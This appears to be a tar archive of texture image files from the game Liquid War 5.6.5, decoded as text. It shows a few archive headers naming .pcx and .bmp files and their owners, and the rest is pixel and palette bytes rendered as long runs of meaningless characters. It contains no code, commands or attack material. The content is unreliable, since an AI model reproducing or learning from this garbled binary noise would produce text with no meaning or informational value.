!)eB5B5B5B5B-B5B1B$B5B5B-B5B5B)5B!:-B5B5B5B5B5J1Mc!AR)EcRq:Uc-BRm{BYk)9J9J!9J!AR!9J!AR9J5J:Uk:Uc)AR)ER1J!=JB]s!AR)ER5R1MZ)Qc:Qc!=R!=J)EZ!9J!=J!=R:UcB]k)Qc1QcJes{BYk!9JRmZqZuքZy{9Jsc)ky)aB1Uk)IZ!AR1Mc:Uk!AR)IcRq:Qc-BRqBYk)9J5J!9J!AR!9J!AR5J5J:Uk:Uc)AR)AR-J!AJB]s!AR)AR5R1MZ)Qc:Uc!=R!=J)EZ!=R!=J!AR:QcB]k)Qc1QcJe{{BYk!9JRqZuZyތZu{!9J{k1ky1eB1Yk1IZ!AR1Qc:Uk!AR)IcZq:Uc1JZqBYk)9J5J!9J)AR!9J)AR5J5J:Uk:Uc)AR)ER1J!AJBas!AR)ER9R1MZ)Qc:Uc!=R!=J)EZ!=J!9J!AR:UcBas)Qc1QcJe{{BYk!9JRmZuZuքZu{!9J{k1ky1]B1Yk1IZ!AR1Mc:Uk!AR)IcRq:Uc-BZqBYk)9J5B!9J)AR!9J!AR5J5J:Uk:Uc)AR)ER1J!=JB]s!AR)ER9R1MZ)Qc:Uc!=R!AR)EZ!=R!=J!=R:UcBak)Qc1QcJe{{BYk!9JRmZuZuքZu{!9Jsc)ky1aB1Yk1IZ)AR1Mc:Uk!AR)EcRq:Qc-BRqBYk)9J9J!9J)AR!9J)AR!9R1JBUk:Uc)AR)ER1J!ARB]s!AR)ER5R1MZ)Qc:Uc!=R!AR)IZ!=R!=J!=R:UcB]k)Qc1QcJe{{BYk!9JRmZuZyքZy{5Jsc)ky)aB1Yk1IZ!AR1Mc:Uk!AR)IcZq:Qc1JZqBYk)9J5B!9J!AR!9J!AR9J5J:Uk:Uc)AR)ER1J!=JB]s!=J)ER5R1MZ)MZ:Uc!=R!AR)IZ!=J!=J!=R:UcB]k)Qc1Mc:Uks:Uc!9JJe{k:UkJasZesB]ks5BR}Rik)ﭮ !)eB5B5B5B5B-B1B5B(B5B5B-B5B5B)5B!:-B5B5B5B5B-B1B5B!=ZJes)AR-BJi{1Qc)5B5B5B!9J5B5B-B5B!=R)ER5B5B-B5B!AZ5B5B5B-B5B)AR!9R!=J9J)5B5B-B5B5B5B!ARJi{JYk5B5B-B1B1B1Mck}5B1B:]cs-JRak)aB!ER5B5B-B1B1B!=ZJes)AR-BJi{1Qc)5B5B5B!9J5B5B-B1B!9R)ER5B5B-B5B!AR5B5B5B-B5B)AR!9R!=J5J)5B5B-B5J5B5B!ARJi{JYk5B5B-B1B1B1Mcs}5B1B:]cs1ku{Rak1eB!ER5B5J1B1B1B!=ZJi{)ER1JRi{1Qc)5B5B5B!=J5B5B-B1B!=R)IZ5B5B-B5B!AR5B5B5B-B5B)AR!9R!9J5J)5B5B-B5B5B5B!ARJi{JYk5B5B-B1B1B1MZs5J5B:]cs1kuRak1]J!ER5B5B-B1B1B!=ZJi{)ER-BJe{1MZ)5B5B5B!9J5B5B-B1B!=R)ER5B5B-B5B!AZ5B5B5B-B5B)AR!9R!=J9J)5B5B-B5B5B5B!ARJi{JYk5B5B-B1B1B1Mck}5B1B:acs)kq{Rak1eB!ER5B5B-B5J5B!=ZJes)AR-BJi{1MZ)5B5B5B!9J5B5J-B5B!=R)ER5B5B-B5B)AZ5B5B5B-B5B)AR!9R!=J5J)5B5B-B5B5B5B!=RJi{JYk5B5B-B1B1B1Mck}5B1B:acs)km{R]k)aB!ER5B5B-B1B1B!=ZJi{)ER-BJi{1MZ)5B5B5B!9J5B5B-B1B!=R)IR5B5B-B5B!AZ5B5B5B-B5B)AR!9R!9J5J)5B5B-B9J5B5B!ARBasJYk5B1B-B1B1B)IZZes5B1BZu)URs)km{)B5B5B5B5B-B1B1B(B5B5B-B5B5B)5B !:-B5B5B5B5B-B1B1B1J:Yk!9J-BBas!AR)5B5B5B5B5B5B-B1B1J!9J5B5B-B5B-B5B5B5B-B5B1J9J5B1B5B5B-B5B5B5B5J)IZ)9J5B5B-B1B1B5JJYk5B5BB]kEJ!9RZ]c!5B)]B9J5B5B-B1B1B5J:Yk!9J-BB]k!AJ)5B5B5B5B5B5B-B1B5J!=J5B5B-B5B-B5B5B5B-B5B1J9J5B5B5B5B-B5B5B9J5J)IZ)9J5B5B-B1B1B9JJYk5B1BJasEJ1kq{!1B1eB9J5B5J1J1B1B1J:Yk!9J1JJ]s!=J)5B5B5B5J5B5B-B1B5J!=J5B5B-B5B-B5B5B5B-B5B1J5B5B5B5B5B-B5B5B5B9J)IZ)9J5B5B-B1B5B9JJ]k5B5BBasEJ1ku{!5B1aB9J5B5B-B1B1B1J:Yk!9J-BB]k!=J)5B5B5B5B5B5B-B1B5J!=J5B5B-B5B1B5B5B5B-B5B5J9J5B5B5B5B-B5B5B5B9J)IZ)9J5B5B-B1B1B9JJYk5B1BBasEJ)kq{!1B)aB9J5B5B-B5B5B5R:Yk!5J-BB]k!=J)5B5B5B5B5B5B-B5B5J!AR5B5B-B5B-B5B5B5B-B9J1J5J5B1B5B5B-B5B5B5B9J)IZ)9J5B5B-B5B1B9JJYk5B1BBasEJ)kis!1B)]B9J5B9J1J5J5B1JBYk!9J-BBas!=J)5B5B5B5B5B5B-B1B5J!=J5B5B-B5B-B5B5B5B-B5B1J9J5B1B5B5B-B5B5B5B9J)IZ)=J5B5B-B1B1B5JJYk5B1B1MZAB)kq{)Zmc}5B5B5B5B-B1B1B(B5B5B-B5B5B)5B !:-B5B5B5B5B-B1B1B(B)ER5B-B5B5B)5B5B5B5B5B5B-B1B-B5B5B5B-B5B5B-B5B5B-B5B-B5B)5B1B5B5B-B5B5B5B1B)IZ)5B5B5B-B1B5B5BJa{1=J5B1BkAB)Ec:9:!)YB5B5B5B1B1B1B(B)ER5B-B5B5B)5B5B5B5B5B5B-B1B-B5B5B5B-B5B5B1B5B5B-B5B-B5B)5B1B5B5B-B5B5B5B1B)IZ)5B5B5B-B1B1B1BJa{1AR5B5JkAB1km{!1eB5B5B5J1B1B1B(J)ER5B1B5B5B)5B5B5B5B5B5B-B1B-B5B5B5B-B5B5B-B5B5B-B5B-B5B)5B1B5B5B-B5B5B5B1B)IZ)5B5B5B-B5B5B5BJa{1AR5B1BkAB1kq{!1]B5B5B5B-B1B1B-J)ER5B-B5B5B)5B5B5B5B5B5B-B1B-B5B5B5B-B5B5B-B5B5B-B5B-B5B)5B5B5B5B-B5B5B5B1B)IZ)5B5B5B-B1B1B1BJa{1=J5B1BkAB)kq{!)aB5B5B5B-B1B1B-J)ER5B1J5B5B)5B5B5B5B5B5B-B1B-B9J5B5J-B5B5B-B5B5B-B5B-B5J)5B5B5B5B-B5B5B5B1B)IZ)5B5B5B-B5B1B1BJa{1=J5B1BkAB)kq{!)YB5B5B5B-B1B1B(J)ER5B-B5B5B)5B5B5B5B5B5B-B1B-B5B5B5B-B5B5B-B5B5B-B5B-B5B)5B1B9J5B1B5B5B5B5B)IZ)5B5B5B-B1B1B1BJas1=J5B1BRm{AB)km{!5B5B5B5B-B1B1B(B5B5B-B5B5B)5B!:-B5B5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5B5B5B-B1B-B5B5B5B-B5B5B-B5B5B-B5B-B5B1B1B5B5B-B5B5B5B5B)IZ)5B5B5B-B1B1B1B-B)5B5B1BRqAB!=Zkms !)aB5B5B5B-B1B1B$B5B5B-B5B5B)5B5B5B5B5B5B-B1B-B5B5B5B-B5B5B-B5B5B-B5B-B5B1B1B5B5B-B5B5B5B1B)IZ)5B5B5B-B5B5J5B1B)5B5J1BZqAB1kq{!1eB5B5B5B-B1B1B(B5B5B1B5B5B)5B5J5B5B5B5B1B5B-B5B5B5B-B5B5B1B5B5B-B5B-B5B1B1B5B5B-B5B5B5B1B)IZ)5B5B5B-B1B1B1B-B)5B5B5JRqAB1kq{ !1]B5B5B5B-B1B1B(B5B5B1B5B5B)5B5B5B5B5B5B-B1B-B5B5B5B-B5B5B1B5B5B-B5B-B5B1B1B5B5B-B5B5B5B1B)IZ)5B5B5B-B1B1B1B-B)5B5B1BRqEB)kq{!)aB5B5B5B-B5B1B(B5B5B-B5B5B)5J5B5B5B5B5B-B1B-B5B5B5B1J5J5B-B5B5B-B5B-B5B5B1B9J5B-B5B5B5B1B)IZ)5B5B5B-B5B1B1B-B)5B5B1BRqAB)km{!)aB5B5B5B1J1B5B(B5B5B-B5B5B)5B5B5B5B5B5B-B5B-B5B5B5B-B5B5B-B5B5B-B5B-B5B1B1B5B5B1B5B5B5B1B)IZ)5B5B5B-B5B1B1B-B)5B5B1BRqAB)kis !)aB5B5B5B5B-B1B1B$B5B5B-B5B5B)5B !:-B5B5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B-B5B5B-B-B5B1B1B5B5B-B5B5B5B1B!9J)5B5B5B-B1B1B1B1B)5B5B1BkAB-J !)]B5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B-B5B5B-B-B5B5B1B5B5B-B5J5B5B1B!9J)5B5B5B-B1B5B1B-B)5B5B1BkAB1kq{!1eB5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5J5B5J-B1B1B-B5B5B5B-B5B5B5B-B5B5B-B-B5B1B1B5B5B-B5B5B5B5B!=J)5B5B5B-B1B1B1B-B)5B5B1BkAB1km{!1YB5B5B5B-B1B1B(B5B5B1B5B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B-B5B5B-B-B5B1B1B5B5B-B5B5B5B5B!=J)5B5B5B-B1B1B1B-B)5B5B1BkAB)kq{!)]B5B5B5B1J5B1B(B5B5B-B5B5B)5J5B5B5B5B-B1B1B-B5B5B5B-B5B5B5J1B5B5B-B-B5B1B1B5B5B-B5B5B5B1B!9J)5B5B5B-B1B1B1B-B)5B5B1BkAB)kis!)]J5B5B5J-B1B1B(B5B5B1J5B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B1B5B5B-B-B5B1B1B5B5B-B5J5B5B1B!=J)5B5B5B-B1B1B1B-B)5B5B5BkAB)km{!)]B!9J5B5B5B-B1B1B(B5B5B-B5B5B)5B !:-B5B5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B-B5B5B-B-B5B1B1B5B5B-B5B5B5B1B1B)5B5B5B-B1B1B1B-B)5B5B5Bc}AB)EcRQR!)eB5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B-B5B5B-B-B5B1B1B5B5B1B5B5B5B1B5J)5B5J5J1J1B1B1B1B)5B5B1BcEB1km{!1iB5B5B5B-B5B1B(B5B5B-B5B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B-B5B5B-B-B5B1B1B5B5B-B5B5B5B1B1B)5B5B5B-B1B1B1B-B)5B5B1Bc}AB1ku!1eJ5B5B5B-B1B1B(B5B5B1B5B5B)5B5B5B5B5B-B1B1B-B5B5B5B1B5B5B5B-B5B5B-B-B5B1B1B5B5B-B5B5B5B5B5B)5B5B5B-B1B1B1B-B)5B5B1BcAB)km{ !)]B5B5B9J-B1B1B(B5B5B-B5B5J)5J5B5B5B5B-B5B1B-B5B5B5B-B5B5B5J1J5J5B1J1J5B1B1B5B5B-B5B5B5B1B1B)5B5B5B-B1B1B1B-B)5B5B1Bc}AB)kq{!)]B5B5B5B1B1B1B(B5B5B-B5B5B)5B5B5B5B5B-B5B1B-B5B5B5B-B5B5B5B-B5B5B-B-B5B5B1B5B9J-B5B5B5B1B1B)5B5B5B-B1B1B1B-B)5B5B1Bc}AB)kq{ !ε:Uc5B5B5B-B5B1B$B5B5B-B5B5B)5B !:-B5B5B5B5B-B5B1B(B5B5B-B5B5B)5B5B5B5B5B-B5B1B-B5B5B5B-B5B5B5B-B5B5B-B5B5B1B1B5B5B-B5B5B5B1B1B)5B5B5B-B1B1B1B-B)5B5B1BJisABRiBEJ !)]B5B5B5B1B5B1B(B5B5B-B5B5B)5B5B5B5B5B-B5B1B-B5B5B5B-B5B5B5B-B5B5B-B5B5B1B1B5B5B-B5J5B5B5J5J)9J9J9J-B1B1B1B-B)5B5B5BJesAB1km{!1eB5B5B5B-B5B1B(B5B5B-B5B5B)9J5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B-B5B5B-B5B5B5B5B5B5B-B5B5B5B1B5B)5B5B5B-B5B5B5B1J)5B5B1BJesAB1ku{!1iB5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B-B5B5B-B5B5B1B1B5B5B-B5B5B5B5B5B)5B5B5B-B1B1B1B-B)5B5B5BJisAB)km{ !)]B5B5B5J-B1B1B$B5B5B-B5J5B)5B5B5J5B5B-B1B1B-B5B5B5B-B5B5B5B-B5B5B-B5J5J5B5J5B5B1B9J5B5B5B5B)5B5B5B-B1B1B1B1B)5B5B1BJesAB)kis!)YB5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5B5B-B5B1B-B5B5B5B-B5B5B5J-B5B5B-B5B5B1B1B5B5B-B5B5B5B1B1B)5B5B5B-B1B1B5B-B)5B5B1BJesAB)kis!cqcc}5B5B5B-B1B1B(B5B5B-B5B5B)5B !:-B5B5B5B5B-B5B1B(B5B5B5B-B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B5B-B5B5B5B5B5B1B5B5B-B5B5B5B1B1B)5B5B5B-B1B1B5B-B)5B5B1B!=JEB1Mk!$)!)eBRi{5B5B5B-B1B1B(B5B5B5B-B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B5B-B5B5B5B5B1B1B5B5B-B5B5B9J1B1B)5B5B5B-B5B1B1B-B)5B5B5B!ARAB1km{ !1aJRm{5B5B5B-B5B5B$B5B5B5B-B5B)5B9J9J5B5B-B1B1B-B5B5B5B-B5B5B5B5B-B5B5B5B5B1B1B5B5B-B5B5B5B1B1B)5B5B5B-B1B1B1B1J)5B5B5B!ARAB1ku !1]BRi{5B5B5B-B1B1B(B5B5B5B-B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B5B-B5B5B5B5B1B1B5B5B-B5B5B5B1B5B)5B5B5B-B1B1B1B-B)5B5B5B!ARAB)km{ !)]BRi{5B5B5B-B1B1B(B5B5B5B-B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B5B-B5B5B5B5B5J1B5B5B-B5B5B5B1B1B)5B5B5B-B1B1B5B-B)5B5B1B!=JAB)km{ !)YBRm{5B5B5B-B1B1B$B5B5B5B-B5B)5J5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B5B1B5B5B5B5B1B1B5B5B1B5B5B5B1B1B)5B5B5B-B1B1B1B-B)5B5B1B!AJAB)km{ !Ri{5B5B5B-B1B5B(B5B5B5B-B5B)5B !:-B5B5B5B5B-B1B5B(B5B5B5B-B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B5B5B-B5B5B1B1B5B5B5B-B5B5B5B1B1B)5B5B!9J-B1B5B1B-B)5B5B1B5BAB:UkZYZ !)]B5B5B5B5B-B1B1B(B5B5B5B-B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B5B5B-B5B5B1B1B5B5B5B-B5B5B5B1B1B)5B5B!9J-B1B5B1B-B)5B5B5B5BAB1km{!1eB5B5B5B5B-B1B5B(B5B5B5B-B5B)5B5J9J5B5B-B5B5B-B5B5B5B-B5B5B5B5B5B-B5B5B1B1B5B5B5B-B5B5B5B1B1B)5B5B!9J-B1B1B1B-B)5B5B5B5BAB1km{ !1]B5B5B5B5B-B1B1B(B5B5B5B1B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B5B5B-B5B5B1B1B5B5B5B-B5B5B5B1B1B)5B5B!9J-B1B1B1B-B)5B5B5B5BAB)km{ !)]B5J9J5J5B-B1B1B(B5B5B5B-B5J)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B5B5B1J9J5J1B1B5B5B5B-B5B5B5B1B1B)5B5B!5J-B5B5B1B-B)5B5B1B5BAB)ku{!1aB5B9J5B5B1B1B1B$B5B5B5B-B5B)5B5B5B5B5B-B1B5B-B5B5B5B-B5B5B5B5B5B-B5B5B1B5B5B5B5B-B5B5B5B1B1B)5B5B!9J-B1B1B1B-B)5B5B5B5BAB)km{!)aB5B5B5B5B-B1B1B(B5B5B5B-B5B)5B!:-B5B5B5B5B-B1B1B$B5B5B5B-B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B5B5B-B5B5B5B)5B5B5B5B-B5B5B5B1B1B)5B5B)ER-B1B1B1B-B)5B5B1B5BAB)Ec!)aB5B5B5B5B-B1B1B(B5B5B5B-B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B5B5B-B5B5B1B)5B5B5B5B-B5B5B5B1B5B)5B5B)ER-B1B5B1B-B)5B5B1B5BAB1kq{!1iJ5B5B5B5B-B1B1B(B5B5B5B-B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B5B5B-B5B5B1B)5B5B5B5B-B5B5B5B1B1B)5B5B)ER-B5B1B1B-B)5B5B1B5BEB1km{!1aB5B5B5B5B-B1B1B(B5B5B5B-B5B)5B5B5B5B5B-B1B5B-B5B5B5B-B5B5B5B5B5B-B5B5B1B)5B5B5B5B-B5B5B5B1B1B)5B5B)ER-B1B1B1B-B)5B5B5B5BAB)km{ !)YB5B5B5B5B-B1B1B$B5B5B5B-B5B)5B5B5B5B5B1B5B5B-B5B5B5B-B5B5B5B5B5B-B5B5B5J)9J5B5B5B-B5B5B5B5B5B)5J5B)IR-B1B1B1B-B)5B5B5B5BAB)km{ !1eJ5B5J5B5B-B1B1B(B5B5B5B-B5B)5B5B5B5B5B-B1B1B-B5B5B5B-B5B5B5B5B5B1J5B5B1B)5B5B5B5B-B5B5B5B1B1B)5B5B)ER-B1B1B5B-B)5B5B1B5BAB)km{ !)aB5B5B5B5B-B1B1B$B5B5B5B-B5B)5B!:-B5B5B5B5B-B1B5B(B5B5B5B-B5B)5B5B5B5B5B5B-B1B-B5B5B5B-B5B5B5B5B5B-B5B5B1B)5B5B5B-B5B5B5B5B1B1B5B5B:Uc-B1B1B1B-B)5B5B1B5BAB5RBAB!)]B5B5B5B5B-B1B1B(B5B5B5B-B5B)5B5B5B5B5B5B-B1B-B5B5B5B-B5B5B5B5B5B-B5B5B1B)5B5B5B-J5B5B5J5B5B1B5B5B:Uc-B1B5B1B-B)5B5B1B5BAB1ku !1]J5B5B5B5B-B1B1B(B5B5B5B-B5B)5B5B5B5B5B5B-B1B-B5B5B5B-B5B5B5B5B5B-B5B5B1B)5B5B5B-B5B5B5B5B5B5B5B5B:Uc1J5B5J1B-B)5B5B1B5BAB1ku!1eJ5B5B5B5B-B1B1B(B5B5B5B-B5B)5B5B5B5B5B5B-B5B-B5B5B5B-B5B5B5B5B5B-B5B5B1B)5B5B5B-B5B5B5B5B1B1B5B5B:Uc-B1B1B1B-B)5B5B5B5BAB)ki{ !)YB5B5B5J5B-B1B1B(B5B5B5B-B5B)5B5B5B5B5B5B-B1B-B5B5B5B-B5B5B5B5B5B-B5B5B1B)5B5B5B-B5B5B5B5B5J1B5B5B:Uc-B1B1B1B-B)5B5B1B5BAB)kq{ !1aJ5B5B5J5B-B1B1B(B5B5B5B-B5B)5B5B5B5B5B5B-B1B-B5B5B5B-B5B5B5B5B5B-B5B5B1B)5B5B5B-B5B5B5B5B5B1B5B5B:Uc-B1B1B1B-B)5B5B1B5BAB)km{ !)aB5B5B5B5B-B1B1B(B5B5B5B-B5B)5Bliquidwar-5.6.5/data/maptex/lwtab002.orig.pcx0000664000372000037200000000756313407756104020371 0ustar travistravis O1,,P ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! !>?>?>?>?>?>?>?> ! !"!"!"!"=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>=>? !""=> !"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"=>? !"#$#$#"=> !"!#"$;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<;<=<=>? !"#<;:;:;:;:;:;:;:;:;:;:;:;:;<=>? !"#"#;<:%&%:;:;:;:;:;:;:;:9:;<;=<=>? !"#<;%&%&%:9:9:9:9:9:9:9:9:9%&%:9&%&%$#"! ! !"!#"$;%$&%&'&9&'&98&'&98&'&989&'&%$%#$#"!" ! !"#<;$%&'&'8'&'&'89'&'89'8'&%$#"! !"#"#;<:%&%&'('(78'('('('('('87('('('('('87('('(7878'('&%$%$#"!" ! !"#<;$%&'(7(7(7(7('&%$#"! !"!#"#;%$&%&'(')67()()()()()(76)()()()()(76)()()6767'(&'&%$%#$#"!" ! !"#<;$%&'(6)6)6)67('&%$#"! !"#"#;<:%&%&'()6)*)*)*)*)*)65*)*)*5*)*)65*)*)*567'('&%$%#$#"!" ! !"#<;:9:987676)*+*5*5*+5*+*)67('&%$#"! ! !"!#"$;:9:89876)*+*+*+54+*+4+*+54+*+*5767'(&'&%$%#$#"!" ! !"#<;:9876543434343434343434+*67('&%$#"! !"#"#;<:;:989787656454323,*+*5767898:9:;<=<=! ! !"#$%&'()*+,-232,-,-,+*)6789:;<=>! !"!#"#$%$&%'&'(')()*+*,+,-.-2121.-.-,+*576789:9:;<=<=" ! !"#$%&'()*+,-.1.-,+*6789:;<=>! !"#"#$%&%&'()()*+,+,-.1010/-.-,+,*+*567898:9:;<=<=! ! !"#$%&'()*+,-.010.-,-,+*)6789:;<=>! >?>=<;<;:98987656543232101012132434546576789:9:;<=<=" ! ?>=<;:98765432123456789:;<=>! >?="!#"#$%&%&'()()*+,+,-.-212323456567898:9:;<=<>=! ! ?>"#$%&'()*+,-,-,2323456('&%$#"! !>"!#"#$%$&%&'(')()*+*,+,+,+,34343454657('(&'&%$%#$#"!" ! ?>!"#$%&'()*+456)('&%$#"! >?="#"#$%&%&'()()*+*+*+*+*+*+*+454545454545656()'('&%$%$#"!" ! ?>=<=<;:9:9876765*56)('&%$#"! !>=<;<;:98765656565*)*)*)*)*565656565656565767879:9:;<=<=" ! ?>=<;:9876)6789:;<=! >?=>=<;<:;:98978767676767)()()(76767()()()()()()'89&%&$%$#=<=" ! ?>"#$%&'('(7878('('('('787('('(8&%$#<=>! !>="#"$#$%&%'&'&'8'&'&'898'&'('989&%$%#$#=<=" ! ?>!"#$%&'&989&'&9&'&'&'&'&'89&%$#<=! >?="#"#$%&%&%&%&%&%9:9:9:9&%&%&%&%&9:9:9:%&%&%&%&%&%:9:%&%$%$#=<="! ?>"#$%:%:9%$#<=>! !>="#"$#$%$%$%$%$%$%$%$%$%$%$%$%$%$%$%:;:;:;$%$%$%$%$%$%$;:;$%$%$%#$#=<=" ! ?>!"#$;$;$#<=! !>?="#"#$#$;<;<;<;<#$#$#$#$#$#$#$#<;<;<;<;<;<;<;<;<;<;<;<;<;<;<=<="! ?>"#"#=<=<=<#"#"#"#"#"#"#"#"=<=<=<=<=<=<=>! !>"!"!"<>"<=!#!"!"#!"!"=>=<=<=<=<=<=<=" ! ?>=>=>=>=>=>="!>=>=>!"!"!"!"!"!"!"!"! >?>?>?>?>?!>?>?>?>?>?>?>?>?>?>?>?>?>?>! ! ! ! ! ! ! ! ! ! ! ! ! ! +++;;;KKKWWWgggwww÷sssgggWWWKKK;;;///###/ 3 ; ?GK#S+W7'_?/cG3kS;o[CwgOoWw_kskoco[oSsOw{G{{?{s7wg3w[+wO#wCs3s#s s / #########'''''''''+++++++++/////////333333333777777777;;;;;;;;;?????????CCCCCCCCCGGGGGGGGGKKKKKKKKKOOOOOOOOOSSSSSSSSSWWWWWWWWW[[[[[[[[[_________cccccccccgggggggggkkkkkkkkkooooooooossssssssswwwwwwwww{{{{{{{{{liquidwar-5.6.5/data/maptex/rect.orig.bmp0000664000372000037200000020533013407756104017747 0ustar travistravisBM (  kG530.,+)&$#!                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              liquidwar-5.6.5/data/maptex/psyforcegeometry.orig.bmp0000664000372000037200000724606613407756104022442 0ustar travistravisBM6L6(  L  /G2G4H-I ,M 3XCi(\(5A&7F"6K3N/P,P )N .G .F ,E +D ,E ,F.G.H,K,K,L,L,L+L+L,M0E 0G8Q'F^7ThJeqb}v}YNu;7Z(7R9N9K 7K8P7S4R 0K /E5E;D.K0K 2M3M2N1M0L]cd`iqjoqnghoglovufuwki}c}j{hld=1ʠ.AQ}H~jqTotMN6<6?0G .G-F+H+I,L .N0O 4B 2F1L.R-T.S/Q1N-W.V-S ,P -M .K .H/H 0N /N -L ,K +K+K,L,M.L.K.K.K .K -J -J.J -F -F -F .F .F .D .D /E+E,F0J4N6O4L-F)A*F)+H6/K32L3H 2F0C.C#_$]%X&T)N+H-D.A.B-C-E,F+H*K)L(N *S ,Q .K 1H8M?V=Y6V .D .F .F /H .H.K.K.K,M,N.N0N1M 0J -H .F .F .F 0E 1F 3E 4E 6E 6C,N.P0R1U3V1V 1U 0S .T .T -R .Q -O .N -M -L4C3E2F 1I.K,M*M)N-)K(&H &E,H4N8P4J/D1C0E.F -J-N-S-V.Y.[.Z.W/T0O1I 3D4@-8V)4R#0N.M-N.P.O-O7E6E3G1H-J,M ,P +Q 'I )K,M1P"4S#6R!3O2L!,K".L!4O7N9L9J:G 9F >H8K).O()R+V0X1U.P4J#3K+3K/2K-2K&3K4J4I8A#AWYZm|tostU8kGr1NZ4H`3Dd>Wmi|Ⱥկb_HX)TSz :Y.K +Z ,Y/V3P6K9H;D=C*0I%3K6M9N8M6J1F.C 1H 1H 0I .K .N -N ,Q ,Q/G/G.H-H ,H ,I ,I +J+P+P+N+N-N-N-L.K1H.F-F-G/J1N3P2P 0A /B/D0F0H/I/K/K/L/L/L0L0L/K 0K 0K2L 1L /L-L-N.P$/S&/T2&e03g%?bD\G^JkCt:v(Rt KnFhIiSo]tavbt&[w+Zx0X|2_9nDvMkM[AZ6Nw(PtT^ro7d|Ka 9S.M(Q*P+M+L-J-H-E,E -@-C,F,F.F 3E7C9@.S.N.F1B4C 4E0F,F1@1A 0B /C.D,E,E+F)F -J0L0I,E+@+?-A)D)E(G&I&K'N(P'Q(K+K0M3M4M4K1G0E /K 0I 0I 0H 1H 2G 2F 2F.K.I-H/H1H2H4H5J 2R1Q1Q0N.L ,J#,I%+H0E1F2G2G2G2G1E0E4F 1E1F1H -G *F .J3S)1N*-J+*F,)C))@",@/?0? .G -G .G .I ,J +K +K +L *L,K -J -I -J ,M ,Q-T1N/L-G+E*D+C-C-D -J -J -J -J.J.K0K1L3C 4C 3D 0F /F .F ,F +G ,M ,I ,D .A.B-F)H%I,F,G+H+J*K*L)M(N*L+K,J-H/E0B1A 1?)K)K+K ,K -J-J.I.I,H,H-H-H.G .G.G.G (Q (Q )P+O,M-K.K/J)M)M)L)L)K(K(J(I,H,H +H ,H,G,G+F+F.B-B-C+D +E ,F -I -J+J.M!3O5P4M1G -C,@,P-P.N/N0N 1M 1L 2J.N(2P44Q+3M0G-D+F )J*L+M+M,N+M*L )J (J*F*G+F +E +E -E,E-C0C /C /C /C/D/D.D.D-H /J 1M 3N 3N 0L-I,G )I )J*K,N-P .R%0S(0T.\/Y/V -Q ,K 0I5L:O8>:A;E9F6E 4F 3G 4J1I0I 0I .H.H-H,H+H.D /E1F3F3G1H,/G6.G02@.3B+4E&4H!3J0K/L-K 0I /H -G ,F ,F -G-G.H ,K ,K+K,K+K,L+L+L .C0H7T'B^/Ha?Xg^y}}_bGLq;I^%BJ:<7L5O 1S -T +Q ,I0C4A1G{~pÒrǒjge``amvslsrmtdeyqoo}dugprhEoBcIb[\fKt>kp;qMЖ,J@Lb -L +K+I,I .J1K3L N)K(K(L&L'M'M(M(M(L-M1M 6N7M7I5F3B 0K 1J 1J 1I 2I 3G 3G 4G-J.I-H/HXhlkNx@j>RBRxI[qH^:LJ͑"Ȥ4Kmir]ohhod~htR_h_xSRkrjh|~[zM8T)7R)5N+1J+.E%.B/?1> 1> ,L ,L ,K -J .I -G -F .E %T 'Q +O .K /H.H-J-L,H+G*E+E*D+D+B,C +J +K ,K -L.L.L0M0M3@2A1B /C .E ,F +G +H.I.E /? 0=1>-A)C%D-C,D,E+G*J)L)M(N ,M -L /J 1H3D3B4?4<,E,F,G +H ,K,M+M,N-B-B.C/B0B1B1B1B +L *L +M,M,N+N,O+P+K+J+J*J)I#(H'(G('G.E-E-D.D -C -C -B -C0A/A.B-C-F-I .J.M!+H"-K 1M4M3J1F 0D/A,Q,Q-P/N1M2L3J3I0J'3O45R)4P0H,C+F+I)M*N*N+O*N)M (L 'K*F+G+F+E ,E -E,E-C1B0B 0B 0B0C/C/C.B.H 0J 3M5P 4O 2M/J-G(J(J)K)L+M,N,O,O*W+U ,S ,O.L 6NAVI\)KM&IL EK>G7E 4E 2G 3J1J0J 0J .J-J,J+J+J.C 